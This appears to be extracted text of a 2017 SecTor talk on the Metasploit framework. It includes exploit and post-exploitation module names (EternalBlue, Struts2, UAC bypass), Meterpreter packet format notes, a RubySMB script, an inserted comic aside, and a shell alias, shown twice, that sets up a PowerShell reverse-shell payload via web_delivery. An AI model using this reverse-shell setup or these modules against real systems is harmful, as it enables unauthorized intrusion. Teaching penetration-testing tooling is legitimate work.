Metasploit Community: Tips, Tricks and What’s New

At SecTor 2017
Who am I?

Jeffrey Martin

Senior Software Developer @ Rapid7

Github: jmartin-r7
Twitter: @Op3n4M3
The Metasploit Community
The Agenda

- Intro to Metasploit
- What’s New in Metasploit
- Quick tips and hints
- What’s on the Horizon
- Question?
The Basics

msfvenom
Meterpreter/Shell
Bind/Reverse
Msfconsole
Modules
Exploit/Post/Aux
Handler
Innovating with Metasploit

changes in version 10.17:
The CPU no longer overheats when you hold down spacebar.

Comments:

LONGTIMEUSER4 writes:
This update broke my workflow! My control key is hard to reach, so I hold spacebar instead, and I configured emacs to interpret a rapid temperature rise as "control".

ADMIN writes:
That's horrifying.

LONGTIMEUSER4 writes:
Look, my setup works for me. Just add an option to reenable spacebar heating.

Every change breaks someone's workflow.
Modules

multi/http/struts2_rest_xstream
multi/http/struts2_content_type_ognl
exploits/linux/samba/is_known_pipename
exploits/windows/smb/ms17_010_eternalblue
post/windows/gather/credentials/dynazip_log
Named Pipes
Railgun
Packet Encryption

Packet header changes

Prior to this PR, the packet header looked like this:

Values: [XOR KEY][packet length][packet type][ .... TLV packets go here .... ]  
Size: [ 4 ][ 4 ][ 4 ][ .... N .... ]

After this PR, the packet header looks like this:

Values: [XOR KEY][session guid][encryption flags][packet length][packet type][ .... TLV packets go here .... ]  
Size: [ 4 ][ 16 ][ 4 ][ 4 ][ 4 ][ .... N .... ]

- **Session GUID**: This contains the GUID that identifies the session. In the case of stageless payloads, this GUID is the null GUID (all null bytes), and a new one is generated and passed to the Meterpreter instance when the session is established. This GUID is now easily accessible outside of the contents of the TLV packets, and as said before this means we can route the packet to the correct handler prior to it being decrypted with the session-specific key.

- **Encryption flags**: This is a DWORD flag set that indicates whether this packet has been encrypted or not (and with what). If not, the structure of the packet from the length onwards is the same as it has always been. However, if the flag is set, the value after the packet type is changed. For example, if the encryption flag is AES256 (i.e. the value 1, it will look like this:

Values: ... [packet length][packet type][AES IV][ .... encrypted TLV .... ]  
Size: ... [ 4 ][ 4 ][ 16 ][ .... N .... ]
You use it, have you done this?

Getting up there quickly:

```plaintext
alias powershell='msfconsole -qx "use exploit/multi/script/web_delivery;
set target 2; set payload windows/powershell_reverse_tcp; set LHOST eth0;
exploit"
```

When it works:

```plaintext
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
```
You use it, have you done this?

Getting up there quickly:

```bash
alias powershell='msfconsole -qx "use exploit/multi/script/web_delivery;
set target 2; set payload windows/powershell_reverse_tcp; set LHOST eth0;
exploit"
```

When it works:

```bash
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
```
You use it, have you done this?

When it doesn’t quite do it:
  msf> edit
You use it, have you done this?

When you want more:

- exploits/windows/local/ms16_032_secondary_logon_handle_privesc
- exploits/windows/local/bypassuac_fodhelper.rb
- exploits/windows/local/capcom_sys_exec.rb
- exploits/windows/local/razer_zwopenprocess.rb
**Project Goliath**

Database → Metasploit Console → NMap, EyeWitness, etc

Database ↔ Database
In the below example we see a simple script to connect to a remote Tree, and list all files in a given sub-directory. Example:

```ruby
sock = TCPSocket.new address, 445
dispatcher = RubySMB::Dispatcher::Socket.new(sock)

client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: 'msfadmin', password: 'msfadmin')
client.negotiate
client.authenticate

begin
  tree = client.tree_connect('TEST_SHARE')
  puts "Connected to #{path} successfully!"
rescue StandardError => e
  puts "Failed to connect to #{path}: #{e.message}"
end

files = tree.list(directory: 'subdir1')

files.each do |file|
  create_time = file.create_time.to_datetime.to_s
  access_time = file.last_access.to_datetime.to_s
  change_time = file.last_change.to_datetime.to_s
  file_name = file.file_name.encode("UTF-8")

  puts "FILE: #{file_name}#{file.create_time}#{file.access_time}#{file.change_time}" end
```
Questions?

- **IRC**
  Server - irc.freenode.net
  Channel - #metasploit
- **Blog**
  blog.rapid7.com/tag/metasploit
- **Email**
  msfdev@metasploit.com
- **Youtube**
  https://www.youtube.com/c/MetasploitR7
- **New Metasploit.com**
- **COMING SOON**
  Slack